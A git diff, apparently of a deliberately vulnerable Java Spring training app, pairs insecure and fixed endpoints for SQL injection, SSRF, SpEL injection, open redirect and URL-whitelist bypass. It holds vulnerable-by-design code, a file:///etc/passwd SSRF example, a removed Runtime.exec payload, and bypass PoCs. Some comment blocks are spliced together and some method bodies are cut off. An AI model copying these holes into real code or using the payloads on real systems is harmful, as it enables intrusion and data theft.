+ for (String uri : WebConfig.getReferUris()) {
+ if (matcher.match(uri, request.getRequestURI())) {
isMatch = true;
break;
}
}
- if (isMatch) {
- if (WebConfig.getReferSecEnabled()) {
- // Check referer for all GET requests with callback parameters.
- for (String callback: WebConfig.getCallbacks()) {
- if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){
- // If the check of referer fails, a 403 forbidden error page will be returned.
- if (!SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist())){
- logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
- + "Referer: " + refer);
- response.sendRedirect("https://test.joychou.org/error3.html");
- return;
- }
- }
- }
- }
+ if (!isMatch) {
+ filterChain.doFilter(req, res);
+ return;
}
+ if (!WebConfig.getReferSecEnabled()) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ // Check referer for all GET requests with callback parameters.
+
+ String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
+ if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
+ // If the check of referer fails, a 403 forbidden error page will be returned.
+ if (SecurityUtil.checkURL(refer) == null) {
+ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ + "Referer: " + refer);
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write(" Referer check error.");
+ response.flushBuffer();
+ return;
+ }
+ }
filterChain.doFilter(req, res);
@@ -75,4 +82,4 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
public void destroy() {
}
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java
new file mode 100644
index 00000000..d3bbf3a1
--- /dev/null
+++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java
@@ -0,0 +1,44 @@
+package org.joychou.impl;
+
+
+import org.joychou.service.HttpService;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.HttpHeaders;
+import org.springframework.http.ResponseEntity;
+import org.springframework.stereotype.Service;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.http.HttpMethod;
+
+import javax.annotation.Resource;
+
+@Service
+public class HttpServiceImpl implements HttpService {
+
+ @Resource
+ private RestTemplate restTemplate;
+
+ @Resource
+ private RestTemplate restTemplateBanRedirects;
+
+ /**
+ * Http request by RestTemplate. Only support HTTP protocol.
+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttp(String url, HttpHeaders headers) {
+ HttpEntity
+ * Redirects: Disable followRedirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttpBanRedirects(String url, HttpHeaders headers) {
+ HttpEntity Normal: Bypass: Hello . Welcome to login java-sec-code application. Application Infomation
- CmdInject
- JSONP
- PathTraversal
- SqlInject
- SSRF
- RCE
- ... Hello . Welcome to login java-sec-code application. Application Infomation
+ Swagger
+ CmdInject
+ JSONP
+ Picture Upload
+ File Upload
+ Cors
+ PathTraversal
+ SqlInject
+ SSRF
+ RCE
+ ooxml XXE
+ xlsx-streamer XXE
+ actuator env
+
+ JWTCreateToken
+ GetUserFromJWTToken
+ ...
*
- * @param username username
+ * http://localhost:8080/sqli/jdbc/vuln?username=joychou
*/
- @RequestMapping("/jdbc/vul")
- public static String jdbc_sqli_vul(@RequestParam("username") String username){
- String result = "";
+ @RequestMapping("/jdbc/vuln")
+ public String jdbc_sqli_vul(@RequestParam("username") String username) {
+
+ StringBuilder result = new StringBuilder();
+
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
- if(!con.isClosed())
- System.out.println("Connecting to Database successfully.");
-
- // sqli vuln code 漏洞代码
- Statement statement = con.createStatement();
- String sql = "select * from users where username = '" + username + "'";
- System.out.println(sql);
- ResultSet rs = statement.executeQuery(sql);
-
+ if (!con.isClosed())
+ System.out.println("Connect to database successfully.");
- System.out.println("-----------------");
+ // sqli vuln code
+ Statement statement = con.createStatement();
+ String sql = "select * from users where username = '" + username + "'";
+ logger.info(sql);
+ ResultSet rs = statement.executeQuery(sql);
- while(rs.next()){
+ while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
- result += res_name + ": " + res_pwd + "\n";
- System.out.println(res_name + ": " + res_pwd);
-
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
}
rs.close();
con.close();
- }catch (ClassNotFoundException e) {
- System.out.println("Sorry,can`t find the Driver!");
- e.printStackTrace();
- }catch (SQLException e) {
- e.printStackTrace();
- }catch (Exception e) {
- e.printStackTrace();
-
- }finally{
- System.out.println("-----------------");
- System.out.println("Connect database done.");
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry, can't find the Driver!");
+ } catch (SQLException e) {
+ logger.error(e.toString());
}
- return result;
+ return result.toString();
}
/**
- * Security Code.
- * http://localhost:8080/sqli/jdbc/sec?username=joychou
+ *
*
- * @param username username
+ * http://localhost:8080/sqli/jdbc/sec?username=joychou
*/
@RequestMapping("/jdbc/sec")
- public static String jdbc_sqli_sec(@RequestParam("username") String username){
+ public String jdbc_sqli_sec(@RequestParam("username") String username) {
- String result = "";
+ StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
- if(!con.isClosed())
- System.out.println("Connecting to Database successfully.");
-
+ if (!con.isClosed())
+ System.out.println("Connect to database successfully.");
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
- System.out.println(st.toString()); // sql after prepare statement
- ResultSet rs = st.executeQuery();
- System.out.println("-----------------");
+ logger.info(st.toString()); // sql after prepare statement
+ ResultSet rs = st.executeQuery();
- while(rs.next()){
+ while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
- result += res_name + ": " + res_pwd + "\n";
- System.out.println(res_name + ": " + res_pwd);
-
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
}
+
rs.close();
con.close();
-
- }catch (ClassNotFoundException e) {
- System.out.println("Sorry,can`t find the Driver!");
- e.printStackTrace();
- }catch (SQLException e) {
- e.printStackTrace();
- }catch (Exception e) {
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry, can't find the Driver!");
e.printStackTrace();
+ } catch (SQLException e) {
+ logger.error(e.toString());
+ }
+ return result.toString();
+ }
+
+
+ /**
+ *
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102.
+ * Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+ */
+ @GetMapping("/request/sec")
+ public String request(@RequestParam String url) {
try {
- String url = request.getParameter("url");
- return Request.Get(url).execute().returnContent().toString();
- }catch(Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.request(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
/**
- * Download the url file.
- * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
- *
- * new URL(String url).openConnection()
- * new URL(String url).openStream()
- * new URL(String url).getContent()
+ * Download the url file.
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
+
*/
- @RequestMapping("/openStream")
- @ResponseBody
- public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException {
+ @GetMapping("/openStream")
+ public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
- String url = request.getParameter("url");
try {
- String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
+ String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
@@ -126,138 +133,186 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
outputStream.write(bytes, 0, length);
}
- }catch (Exception e) {
- e.printStackTrace();
- }finally {
+ } catch (Exception e) {
+ logger.error(e.toString());
+ } finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
-
}
}
- @RequestMapping("/ImageIO")
- @ResponseBody
- public static void ssrf_ImageIO(HttpServletRequest request) {
- String url = request.getParameter("url");
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @GetMapping("/ImageIO/sec")
+ public String ImageIO(@RequestParam String url) {
try {
- URL u = new URL(url);
- ImageIO.read(u); // send request
- } catch (Exception e) {
+ SecurityUtil.startSSRFHook();
+ HttpUtils.imageIO(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
+ return "ImageIO ssrf test";
}
- @RequestMapping("/okhttp")
- @ResponseBody
- public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
- String url = request.getParameter("url");
- OkHttpClient client = new OkHttpClient();
- com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
- client.newCall(ok_http).execute();
- }
+ @GetMapping("/okhttp/sec")
+ public String okhttp(@RequestParam String url) {
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.okhttp(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+ }
/**
- * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com
- *
- * @return The response of url param.
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
*/
- @RequestMapping("/HttpClient")
- @ResponseBody
- public static String ssrf_HttpClient(HttpServletRequest request) {
+ @GetMapping("/httpclient/sec")
+ public String HttpClient(@RequestParam String url) {
- String url = request.getParameter("url");
- CloseableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet(url);
try {
- HttpResponse httpResponse = client.execute(httpGet); // send request
- BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
- StringBuffer result = new StringBuffer();
- String line = "";
- while ((line = rd.readLine()) != null) {
- result.append(line);
- }
- return result.toString();
- }catch (Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.httpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
/**
- * Safe code.
- * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com
- *
+ * The default setting of followRedirects is true.
+ * UserAgent is Jakarta Commons-HttpClient/3.1.
+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
- @RequestMapping("/commonsHttpClient")
- @ResponseBody
- public static String commonsHttpClient(HttpServletRequest request) {
+ @GetMapping("/commonsHttpClient/sec")
+ public String commonsHttpClient(@RequestParam String url) {
- String url = request.getParameter("url");
-
- // Security check
- if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
- return "Bad man. I got u.";
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.commonHttpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
- // Create an instance of HttpClient.
- HttpClient client = new HttpClient();
- // Create a method instance.
- GetMethod method = new GetMethod(url);
+ }
- // forbid 302 redirection
- method.setFollowRedirects(false);
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+ */
+ @GetMapping("/Jsoup/sec")
+ public String Jsoup(@RequestParam String url) {
try {
- // Send http request.
- int status_code = client.executeMethod(method);
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.Jsoup(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
- // Only allow the url that status_code is 200.
- if (status_code != HttpStatus.SC_OK) {
- return "Method failed: " + method.getStatusLine();
- }
+ }
- // Read the response body.
- byte[] resBody = method.getResponseBody();
- return new String(resBody);
- } catch (IOException e) {
- return "Error: " + e.getMessage();
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/IOUtils/sec")
+ public String IOUtils(String url) {
+ try {
+ SecurityUtil.startSSRFHook();
+ HttpUtils.IOUtils(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
} finally {
- // Release the connection.
- method.releaseConnection();
+ SecurityUtil.stopSSRFHook();
}
+ return "IOUtils ssrf test";
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102).
+ */
+ @GetMapping("/HttpSyncClients/vuln")
+ public String HttpSyncClients(@RequestParam("url") String url) {
+ return HttpUtils.HttpAsyncClients(url);
+ }
+
+ /**
+ * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com
+ */
+ @GetMapping("/restTemplate/vuln1")
+ public String RestTemplateUrlBanRedirects(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttpBanRedirects(url, headers);
+ }
+
+
+ @GetMapping("/restTemplate/vuln2")
+ public String RestTemplateUrl(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttp(url, headers);
}
/**
- * Safe code.
- * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com
- *
+ * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool.
+ * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com
*/
- @RequestMapping("/ImageIO_safe")
- @ResponseBody
- public static String ssrf_ImageIO_safecode(HttpServletRequest request) {
- String url = request.getParameter("url");
- try {
- URL u = new URL(url);
- if (!SecurityUtil.checkSSRF(url)) {
- return "SSRF check failed.";
- }
- ImageIO.read(u); // send request
- } catch (Exception e) {
- return e.toString();
- }
+ @GetMapping("/hutool/vuln")
+ public String hutoolHttp(String url){
+ return HttpUtil.get(url);
+ }
- return "ImageIO ssrf safe code.";
+
+ /**
+ * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url
+ */
+ @GetMapping("/dnsrebind/vuln")
+ public String DnsRebind(String url) {
+ java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
+ if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+ return "Dangerous url";
+ }
+ return HttpUtil.get(url);
}
+
+
}
diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java
index 70e7c7a6..0c44eb93 100644
--- a/src/main/java/org/joychou/controller/SSTI.java
+++ b/src/main/java/org/joychou/controller/SSTI.java
@@ -17,14 +17,14 @@ public class SSTI {
/**
* SSTI of Java velocity. The latest Velocity version still has this problem.
* Fix method: Avoid to use Velocity.evaluate method.
- *
+ * #{} if using TemplateParserContext.
+ */
+ @RequestMapping("spel/vuln2")
+ public String spel_vuln2(String value) {
+ StandardEvaluationContext context = new StandardEvaluationContext();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context); // trigger vulnerability point
+ return x.toString(); // response
}
- public static void main(String[] args) {
+ /**
+ * Use SimpleEvaluationContext to fix.
+ */
+ @RequestMapping("spel/sec")
+ public String spel_sec(String value) {
+ SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context);
+ return x.toString();
+ }
+
+ public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
- String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
+ String expression = "1+1";
String result = parser.parseExpression(expression).getValue().toString();
+ System.out.println(result);
}
+
}
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
deleted file mode 100644
index 902b2269..00000000
--- a/src/main/java/org/joychou/controller/Test.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package org.joychou.controller;
-
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-@Controller
-@RequestMapping("/test")
-public class Test {
-
- @RequestMapping(value = "/")
- @ResponseBody
- private String Index(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- return "success";
- }
-
-}
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index 26fc1652..2b96322e 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -10,14 +10,15 @@
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
+
import org.joychou.security.SecurityUtil;
/**
* The vulnerability code and security code of Java url redirect.
* The security code is checking whitelist of url redirect.
*
- * @author JoyChou (joychou@joychou.org)
- * @version 2017.12.28
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2017.12.28
*/
@Controller
@@ -38,7 +39,7 @@ public String redirect(@RequestParam("url") String url) {
*/
@RequestMapping("/setHeader")
@ResponseBody
- public static void setHeader(HttpServletRequest request, HttpServletResponse response){
+ public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
@@ -50,7 +51,7 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res
*/
@RequestMapping("/sendRedirect")
@ResponseBody
- public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
@@ -64,10 +65,10 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
- RequestDispatcher rd =request.getRequestDispatcher(url);
- try{
+ RequestDispatcher rd = request.getRequestDispatcher(url);
+ try {
rd.forward(request, response);
- }catch (Exception e) {
+ } catch (Exception e) {
e.printStackTrace();
}
}
@@ -75,16 +76,16 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
/**
* Safe code of sendRedirect.
- * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com
+ * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
*/
- @RequestMapping("/sendRedirect_seccode")
+ @RequestMapping("/sendRedirect/sec")
@ResponseBody
- public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
+ throws IOException {
String url = request.getParameter("url");
- String urlwhitelist[] = {"joychou.org", "joychou.com"};
- if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) {
- // Redirect to error page.
- response.sendRedirect("https://test.joychou.org/error3.html");
+ if (SecurityUtil.checkURL(url) == null) {
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 94df0400..156cc73d 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,12 +1,13 @@
package org.joychou.controller;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
-import java.net.URI;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.regex.Matcher;
@@ -16,30 +17,28 @@
* The vulnerability code and security code of Java url whitelist.
* The security code is checking url whitelist.
*
- * @author JoyChou (joychou@joychou.org)
- * @version 2018.08.23
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2018.08.23
*/
-@Controller
+@RestController
@RequestMapping("/url")
public class URLWhiteList {
private String domainwhitelist[] = {"joychou.org", "joychou.com"};
+ private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
/**
* bypass poc: bypassjoychou.org
- * http://localhost:8080/url/endswith?url=http://aaajoychou.org
- *
+ * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
*/
- @RequestMapping("/endswith")
- @ResponseBody
- public String endsWith(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
+ @GetMapping("/vuln/endsWith")
+ public String endsWith(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
- for (String domain: domainwhitelist){
+ for (String domain : domainwhitelist) {
if (host.endsWith(domain)) {
return "Good url.";
}
@@ -47,19 +46,19 @@ public String endsWith(HttpServletRequest request) throws Exception{
return "Bad url.";
}
+
/**
- * bypass poc: joychou.org.bypass.com or bypassjoychou.org.
- * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org
- *
+ * It's the same with indexOf.
+ *
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。
+ *
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
+ * a-zA-Z0-9_-.字符。
+ *
+ * @param sql sql
+ * @return 安全sql,否则返回null
+ */
+ public static String sqlFilter(String sql) {
+ if (!FILTER_PATTERN.matcher(sql).matches()) {
+ return null;
+ }
+ return sql;
+ }
+
+ /**
+ * 将非0-9a-zA-Z/-.的字符替换为空
+ *
+ * @param str 字符串
+ * @return 被过滤的字符串
+ */
+ public static String replaceSpecialStr(String str) {
+ StringBuilder sb = new StringBuilder();
+ str = str.toLowerCase();
+ for(int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ // 如果是0-9
+ if (ch >= 48 && ch <= 57 ){
+ sb.append(ch);
+ }
+ // 如果是a-z
+ else if(ch >= 97 && ch <= 122) {
+ sb.append(ch);
+ }
+ else if(ch == '/' || ch == '.' || ch == '-'){
+ sb.append(ch);
+ }
+ }
+
+ return sb.toString();
+ }
+
+ public static void main(String[] args) {
+ }
+
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 127115f3..414fd24d 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -2,6 +2,7 @@
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
@@ -9,7 +10,12 @@
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
import org.springframework.security.web.util.matcher.RequestMatcher;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.CorsConfigurationSource;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+
import javax.servlet.http.HttpServletRequest;
+import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
@@ -28,16 +34,21 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Value("${joychou.security.csrf.exclude.url}")
private String[] csrfExcludeUrl;
+
+ @Value("${joychou.no.need.login.url}")
+ private String[] noNeedLoginUrl;
+
+
@Value("${joychou.security.csrf.method}")
private String[] csrfMethod = {"POST"};
- RequestMatcher csrfRequestMatcher = new RequestMatcher() {
+ private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
@Override
public boolean matches(HttpServletRequest request) {
// 配置需要CSRF校验的请求方式,
- HashSet
+ *
+ *
+ *
+
+ *
+ *
+ * @return decimal ip
+ */
+ public static String host2ip(String host) {
+
+ if (null == host) {
+ return "";
+ }
+
+ // convert octal to decimal
+ if(isOctalIP(host)) {
+ host = decimalIp;
+ }
+
+ try {
+ // send dns request
+ InetAddress IpAddress = InetAddress.getByName(host);
+ return IpAddress.getHostAddress();
+ } catch (Exception e) {
+ logger.error("host2ip exception " + e.getMessage());
+ return "";
+ }
+ }
+
+
+ /**
+ * Check whether the host is an octal IP, if so, convert it to decimal.
+ * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
+ */
+ public static boolean isOctalIP(String host) {
+ try{
+ String[] ipParts = host.split("\\.");
+ StringBuilder newDecimalIP = new StringBuilder();
+ boolean is_octal = false;
+
+ // Octal ip only has number and dot character.
+ if (isNumberOrDot(host)) {
+
+ // not support ipv6
+ if (ipParts.length > 4) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+
+ // 01205647351
+ if( ipParts.length == 1 && host.startsWith("0") ) {
+ decimalIp = Integer.valueOf(host, 8).toString();
+ return true;
+ }
+
+ // 012.23.78.233
+ for(String ip : ipParts) {
+ if (!isNumber(ip)){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ // start with "0", but not "0"
+ if (ip.startsWith("0") && !ip.equals("0")) {
+ if (Integer.valueOf(ip, 8) >= 256){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+ is_octal = true;
+ }else{
+ if (Integer.valueOf(ip, 10) >= 256) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(ip).append(".");
+ }
+ }
+ // delete last char .
+ decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+ }
+ return is_octal;
+ } catch (Exception e){
+ logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+ return false;
+ }
+
+ }
+
+ /**
+ * Check string is a number.
+ * @return If string is a number 0-9, return true. Otherwise, return false.
+ */
+ private static boolean isNumber(String str) {
+ if (null == str || "".equals(str)) {
+ return false;
+ }
+ for (int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ if (ch < '0' || ch > '9') {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ /**
+ * Check string is a number or dot.
+ * @return If string is a number or a dot, return true. Otherwise, return false.
+ */
+ private static boolean isNumberOrDot(String s) {
+ for (int i = 0; i < s.length(); i++) {
+ char ch = s.charAt(i);
+ if ((ch < '0' || ch > '9') && ch != '.'){
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Get host from URL which the protocol must be http:// or https:// and not be //.
+ */
+ private static String url2host(String url) {
+ try {
+ // use URI instead of URL
+ URI u = new URI(url);
+ if (SecurityUtil.isHttp(url)) {
+ return u.getHost();
+ }
+ return "";
+ } catch (Exception e) {
+ return "";
+ }
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
new file mode 100644
index 00000000..817c881e
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -0,0 +1,15 @@
+package org.joychou.security.ssrf;
+
+
+/**
+ * SSRFException
+ *
+ * @author JoyChou @2020-04-04
+ */
+public class SSRFException extends RuntimeException {
+
+ SSRFException(String s) {
+ super(s);
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
new file mode 100644
index 00000000..4ce3509c
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.net.SocketException;
+
+
+/**
+ * Socket Hook switch
+ *
+ * @author liergou @ 2020-04-04 02:12
+ */
+public class SocketHook {
+
+ public static void startHook() throws IOException {
+ SocketHookFactory.initSocket();
+ SocketHookFactory.setHook(true);
+ try{
+ Socket.setSocketImplFactory(new SocketHookFactory());
+ }catch (SocketException ignored){
+ }
+ }
+
+ public static void stopHook(){
+ SocketHookFactory.setHook(false);
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
new file mode 100644
index 00000000..dc6d951d
